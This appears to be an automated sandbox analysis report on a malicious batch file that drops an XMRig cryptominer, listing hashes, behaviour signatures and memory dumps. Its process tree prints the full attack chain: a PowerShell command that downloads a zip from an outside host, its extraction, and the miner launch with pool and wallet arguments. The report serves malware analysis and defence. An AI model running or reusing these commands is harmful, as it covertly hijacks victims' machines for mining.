Analysis

  • max time kernel
    1795s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20230703-en
  • resource tags

    arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
  • submitted
    03/07/2023, 23:57

General

  • Target

    tesy4.bat

  • Size

    700B

  • MD5

    185a2d7bf8c479e47ed8e1ef2cffe6a3

  • SHA1

    810436c92e9eb0c3ef0f6867e938b314f85f43c0

  • SHA256

    e5aaa6de5373b002a54ae2cce47c384f11a80e66b03531b98e8eff1a8dd79581

  • SHA512

    9f1fad5e2a66d6e3d8645ce6c4614fe65ccd169dfa7f78fa3ada228bd543fa7c3dadc384d839d063b66887207897226c57dc62bfb8458ba65614f153791c44bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy4.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4804
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3676
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 4AifziM6zLv4yV4tpjL9S7joqqMjRkCNQakDCxupKLiiVRmPg8pd2aVRPNo5tVZ2BhSdhadzda7V8EuHuWY3xpq2SCZ28HY.alt -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4448

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    485b3501a2e99d35bdb14c76f383ea72

    SHA1

    b94cda8812ee5c27b1e37b079ffb07ed867eb9a0

    SHA256

    d6c4b89e5158dc0414130f3948e2d5f358f65ab904de1f0817aa668d58d4655d

    SHA512

    5bcb3627b6bd35adf22766f42158789d6b06253f82d2450cdc006fd12f4697c0f3ffe8885742988fc607bd4cffd5560fafde09e47ee75bb34fff10385bdab9cf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tfes3ip4.gp5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    bf4229c027030eeea0db49d10248181d

    SHA1

    4d8291b1dd4d3ef3279cc4189d2ddfc88c1e3dad

    SHA256

    25fb70772bc5772ceefac7ebd9dbc684f4235c98f8d357f9001736adbfc6b5ba

    SHA512

    204c60a8f428c7ac3d07f90e678dae91410c5e9d919820748b45b62526146b03386b3c026da208fc8136df6cb19c61e0d1537f2bfee3032836a41165018acd4c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    187B

    MD5

    afb477de9747aa1571a5525e94bf2a4f

    SHA1

    82ac5daaeacd7b0814725c7f01f5464b24e2e000

    SHA256

    43e47a94bf314751868298f703f4f8641764918e683e37ee6fc8110f4dd61c0b

    SHA512

    7240cd0fecf838210afb8c2e06672181e1002b134b2c44a69c80aa6ccd30f36911670fe234d95f9a508b83cc8bdaf3d8b28029a7d55b3b8a4e1afaa6dd2d1997

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/4448-250-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-276-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-289-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-288-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-287-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-286-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-285-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-284-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-221-0x0000025A10DD0000-0x0000025A10DF0000-memory.dmp

    Filesize

    128KB

  • memory/4448-222-0x0000025A127F0000-0x0000025A12830000-memory.dmp

    Filesize

    256KB

  • memory/4448-223-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-224-0x0000025A10E30000-0x0000025A10E50000-memory.dmp

    Filesize

    128KB

  • memory/4448-225-0x0000025A12830000-0x0000025A12850000-memory.dmp

    Filesize

    128KB

  • memory/4448-226-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-227-0x0000025A10E30000-0x0000025A10E50000-memory.dmp

    Filesize

    128KB

  • memory/4448-228-0x0000025A12830000-0x0000025A12850000-memory.dmp

    Filesize

    128KB

  • memory/4448-229-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-230-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-231-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-232-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-233-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-234-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-235-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-236-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-237-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-238-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-239-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-240-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-252-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-242-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-243-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-244-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-245-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-246-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-247-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-248-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-249-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-283-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-282-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-241-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-251-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-254-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-255-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-256-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-257-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-258-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-259-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-260-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-261-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-262-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-263-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-264-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-265-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-266-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-267-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-268-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-269-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-270-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-271-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-272-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-273-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-274-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-275-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-253-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-277-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-278-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-279-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-280-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-281-0x00007FF6663B0000-0x00007FF666EB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4484-127-0x00000212442C0000-0x0000021244336000-memory.dmp

    Filesize

    472KB

  • memory/4484-124-0x000002122BB30000-0x000002122BB52000-memory.dmp

    Filesize

    136KB

  • memory/4484-144-0x00000212441B0000-0x00000212441C0000-memory.dmp

    Filesize

    64KB

  • memory/4484-137-0x00000212441B0000-0x00000212441C0000-memory.dmp

    Filesize

    64KB

  • memory/4484-136-0x00000212441B0000-0x00000212441C0000-memory.dmp

    Filesize

    64KB

  • memory/4804-190-0x000001D79ACC0000-0x000001D79ACD2000-memory.dmp

    Filesize

    72KB

  • memory/4804-172-0x000001D780CB0000-0x000001D780CC0000-memory.dmp

    Filesize

    64KB

  • memory/4804-171-0x000001D780CB0000-0x000001D780CC0000-memory.dmp

    Filesize

    64KB

  • memory/4804-203-0x000001D780CB0000-0x000001D780CC0000-memory.dmp

    Filesize

    64KB

  • memory/4804-204-0x000001D79ACA0000-0x000001D79ACAA000-memory.dmp

    Filesize

    40KB